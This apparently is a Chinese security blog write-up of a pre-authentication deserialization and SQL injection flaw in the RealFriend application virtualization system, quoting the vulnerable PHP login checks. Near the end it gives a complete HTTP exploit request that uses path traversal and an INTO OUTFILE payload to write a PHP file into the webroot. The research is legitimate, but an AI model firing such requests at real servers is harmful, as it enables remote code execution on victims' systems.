浅析瑞友天翼应用虚拟化系统前台反序列化(V<=7.0.5.1)
看到应急公告简单分析学习一波,漏洞不算难,代码也比较简单,有些细节还是蛮有意思,算是温故而知新,顺便也捡起一些很久没碰的PHP知识
鉴权
这个系统文件不多,功能点大多是需要登录,我们可以重点关注一下鉴权部分,在为数不多的控制器当中可以看到,在admin/index
两个控制器中部分功能点都存在对于登录用户的判断,分别对应函数checklogin
与adminchecklogin
(Ps:在高版本中只有AdminCtroller控制器文件了,武器化也以这个为准)
在这里可以明显看到sql查询为拼接的形式,userId
参数来源于session存储文件的反序列化
IndexController#checklogin
12345678910111213141516171819202122232425 |
private function checklogin(){ $mUser = M('cuser'); $sessionpath = session_save_path(); $pathName = $this->openpath($sessionpath); $path = $_REQUEST['sessId'] ? ($sessionpath . "/sess_" . $_REQUEST['sessId']) : ($sessionpath . "/" . $pathName['name'][0]); $content = file_get_contents($path); $tmp = explode("|", $content); $tmp3 = unserialize($tmp[3]); $userId = $tmp3['user_id']; $cuser = $mUser->where("user_id='{$userId}' AND is_group=0 AND is_admin !=1")->find(); if (sizeof($cuser) > 0) { $_SESSION['UserInfo'] = $cuser; $_SESSION['sessId'] = $_REQUEST['sessId']; $this->assign('sessId', $_REQUEST['sessId']); return true; } if ($_SESSION['LonginSucceed'] == false) { //尚未登录 $this->login(); //$this->redirect('index'); return false; } else { return true; }} |
AdminController#checklogin
12345678910111213141516171819202122232425262728293031323334353637383940 |
private function adminchecklogin(){ $mUser = M('cuser'); $sessionpath = session_save_path(); $pathName = $this->openpath($sessionpath); $path = $sessionpath . "/sess_" . $_REQUEST['sessId']; $content = file_get_contents($path); $tmp = explode("OverDo", $content); if (count($tmp) > 1) { $temporary = explode("|", $content); $tmp6 = unserialize($temporary[7]); if (!$tmp6) { $tmp6 = unserialize($temporary[1]); } } else { $tmp = explode("|", $content); $tmp6 = unserialize($tmp[6]); } $userId = $tmp6['user_id']; $_SESSION['AdminUserInfo']['user_id'] = $_SESSION['AdminUserInfo']['user_id'] ? $_SESSION['AdminUserInfo']['user_id'] : $userId; $cuser = $mUser->where("user_id='{$_SESSION['AdminUserInfo']['user_id']}' AND is_group=0 AND is_admin=1")->find(); if (sizeof($cuser) > 1 && $cuser['is_admin'] == 1) { $_SESSION['AdminLonginSucceed'] = true; $_SESSION['Is_Admin'] = $cuser['is_admin']; $_SESSION['AdminUserInfo'] = $InfoLogin['AdminUserInfo'] = $cuser; $_SESSION['AdminUserInfo']['name'] = $cuser['name']; $this->assign('sessId', $_REQUEST['sessId']); $this->assign('Admin', $_SESSION['AdminUserInfo']['name']); } if ($_SESSION['AdminLonginSucceed'] && $_SESSION['Is_Admin'] && $cuser != NULL) { return true; } else { //尚未登录 $this->login(); //$this->redirect('index'); $_SESSION['AdminLonginSucceed'] = false; $_SESSION['Is_Admin'] = false; return false; }} |
利用方式大致一致,但Admincontroller
与IndexController
在利用上仍有些许差别,前者利用中多了如下代码,也就是说如果第一次打成功了,userId则会被记录,第二次利用时如果需要更改Payload只需把cookie中PHPSESSID
做个修改即可
1
|
$_SESSION['AdminUserInfo']['user_id'] = $_SESSION['AdminUserInfo']['user_id'] ? $_SESSION['AdminUserInfo']['user_id'] : $userId;
|
失败的session控制利用尝试
php中的session存在多种存储方式,通过cookie、文件、数据库等方式均可,存储的格式也有多种
php_serialize | 经过serialize()函数序列化数组 |
---|---|
php | 键名+竖线+经过serialize()函数处理的值 |
php_binary | 键名的长度对应的ascii字符+键名+serialize()函数序列化的值 |
接下里我们查看系统中关于session的配置,不难发现,存储方式是通过文件,保存在RealFriend\Rap Server\Temp\PhpSession
路径下,且存储格式为php
12345678910111213 |
[Session]session.save_handler = files;session.save_path = "C:\Windows\Temp"session.save_path ="C:\Program Files (x86)\RealFriend\Rap Server\Temp\PhpSession"session.use_cookies = 1session.cookie_secure = 0session.name = PHPSESSIDsession.auto_start = 0session.cookie_lifetime = 0session.cookie_path = /session.cookie_domain =session.cookie_httponly = Truesession.serialize_handler = php |
关于session的工作原理就不再赘述网上相关资料也很多了
知道了这些信息,接下来我们便可以思考如何控制这个session文件(通过对session操作赋值),这个过程非常直接,因此我们第一个很容易想到在登录的过程
在下面的文件中,我们发现赋值部分能控制的有name
、pwd
、loginPwd
、language
等
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667 |
include "ConDB.XGI";include "LicenceInfo.XGI";include "Lg.XGI";include "Common.XGI";include "Function.XGI";include "converter.XGI";$ErrID = 1;if (!isset($_SESSION)) { session_start();}$COMCASWEB = new main();if (!isset($_REQUEST['cmd']) && $_REQUEST['cmd'] == "") { if (isset($_SESSION['UserName']) && !empty($_SESSION['UserName'])) { } if ($GLOBALS['_SESSION']['LonginSucceed']) { $GLOBALS['GLOBALS']['_REQUEST']['DirID'] = "NULL"; } else { session_unset(); }}$GLOBALS['GLOBALS']['_SESSION']['MainXGI'] = $_SERVER['PHP_SELF'];$GLOBALS['GLOBALS']['_SESSION']['Embed'] = FALSE;$GLOBALS['GLOBALS']['_SESSION']['salt'] = getClientLoginMd5Salt();if (isset($_GET['cmd']) && $_GET['cmd'] == "UserLogin") { $RedURL = $_SERVER['PHP_SELF']; header("Location: " . $RedURL); exit;}if (isset($_REQUEST['cmd']) && $_REQUEST['cmd'] == "UserLogin") { $_REQUEST['name']=trim(filter_inputXssKeyWord($_REQUEST['name'])); $_REQUEST['pwd']=(filter_inputXssKeyWord($_REQUEST['pwd'])); $_REQUEST['loginPwd']=trim(filter_inputXssKeyWord($_REQUEST['loginPwd'])); $GLOBALS['GLOBALS']['_SESSION']['loginPwd']=$_REQUEST['loginPwd']; $GLOBALS['GLOBALS']['_SESSION']['PWD'] = $_REQUEST['pwd']; if (inject_check($_REQUEST['name']) || inject_check($_REQUEST['pwd'])) { $RedURL = $_SERVER['PHP_SELF']; header("Location: " . $RedURL); exit; }if (isset($_REQUEST['language']) && $_REQUEST['language'] != "") { $GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = strtoupper($_REQUEST['language']);} else {}if (!isset($_SESSION['LanguageName']) && $_SESSION['LanguageName'] == "") { $GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = strtoupper($_SERVER['HTTP_ACCEPT_LANGUAGE']); if (similar_text($_SESSION['LanguageName'], "ZH-CN") == 5) { $GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = "ZH-CN"; } else { if (similar_text($_SESSION['LanguageName'], "ZH-TW") == 5) { $GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = "ZH-TW"; } else { $GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = "EN"; } }}if ($_SESSION['LanguageName'] == "") { $GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = "ZH-CN";} |
但很可惜一眼能看到过滤函数中把'
单引号删除了,因此实际利用时不能做到执行的逃逸
12345678 |
function filter_inputXssKeyWord($str){ $str = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", preg_replace( "/<(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $str)); $str=str_ireplace("and", "", preg_replace( "/<(.*)a(.*)n(.*)d/i", "",$str)); $str=str_ireplace("' 'f'='", "", str_ireplace("OR", "", $str)); $str=str_ireplace("+", "", str_ireplace("'", "", $str)); return $str;} |
唯一没走过滤的只有language相关参数,但很可惜回顾之前的反序列化部分要求位置太过于靠前,另一个admin控制器的则在第七位,仅有参数Pwd
在存储文件按|
分割在第五位,能通过写入|
实现反序列化payload的控制,但很可惜无法逃逸单引号的利用
12 |
$tmp = explode("|", $content);$tmp3 = unserialize($tmp[3]); |
柳暗花明又一村
第二天写完博客吃饭期间,经过atao的提示我又去看了一下php的配置,不看不知道,一看吓一跳(所以说有时候不要光看配置文件.ini的内容,还是phpinfo里的信息更为直观)
这不就是以前CTF的利用session.upload_progress做条件竞争写文件么?经过测试也是可以直接利用的,这方面知识点遗忘的
可以看看以前的老文章,这里就不当搬运工了,利用session.upload_progress进行文件包含和反序列化渗透
通过PHP_SESSION_UPLOAD_PROGRESS的利用,将反序列化数据放在filename当中即可实现更稳定的利用,目前来看三种利用方式里面这个最佳
PHP临时文件
另一个能想到的就是之前打ctf的老姿势临时文件包含了,配合上windows的通配符
忘了的可以看看远古文章https://soroush.me/blog/2014/07/file-upload-and-php-on-iis-wildcards/
查看系统具体配置,可以看到缓存文件在默认路径下
12345 |
file_uploads = Onupload_tmp_dir = "C:\Windows\Temp"upload_max_filesize = 32Mmax_file_uploads = 20allow_url_fopen = On |
通过查看配置文件不难发现临时文件在默认的C:\Windows\Temp
下
123456789101112131415161718 |
POST /hmrao.php?s=/Admin/title&sessId=/../../../../../../Windows/Temp/php<< HTTP/1.1Host: Connection: closeCookie: PHPSESSID=aaabbbcccddefzzzzazzza; CookieLanguageName=EN; UserAuthtype=0Accept-Language: en-US,en;q=0.5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Type: multipart/form-data; boundary=------------------------wHKGQZyLwKYaYTdizteSYGbJvzMyKPIUBukyzTKMAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Upgrade-Insecure-Requests: 1Accept-Encoding: gzip, deflate{{char(a-z)}}Content-Length: 188--------------------------wHKGQZyLwKYaYTdizteSYGbJvzMyKPIUBukyzTKMContent-Disposition: form-data; name="file";filename="1.txt"||||||a:1:{s:7:"user_id";s:310:"y4test') union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 0x003c3f7068702066696c655f7075745f636f6e74656e7473282779347461636b65722e706870272c273c3f706870206563686f28224861636b65642042792059347461636b657222293b27293b3f3e into outfile '../../WebRoot/y4tacker.php'#";}|||--------------------------wHKGQZyLwKYaYTdizteSYGbJvzMyKPIUBukyzTKM-- |
一发入魂打一波
但仍然存在一定问题,假如我们的安装目录不在默认的C盘,那么目录穿越不能跨越盘符做读取,那这时候又该怎么办呢?
ThinkPHP日志包含
尽管安装路径不一定在C盘,那么我们还能从什么方向思考呢,有情我们的老演员TP,它的日志总会在项目路径下吧(RealFriend\Rap Server\WebRoot\casweb\Runtime\Logs\Home
)
只要能让项目报错就能保存日志,因此我们可以访问一个不存在的路由触发日志即可将payload写入(注意处理空格的问题,#符号也要替换,闭合语句即可)
- source:y4tacker
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论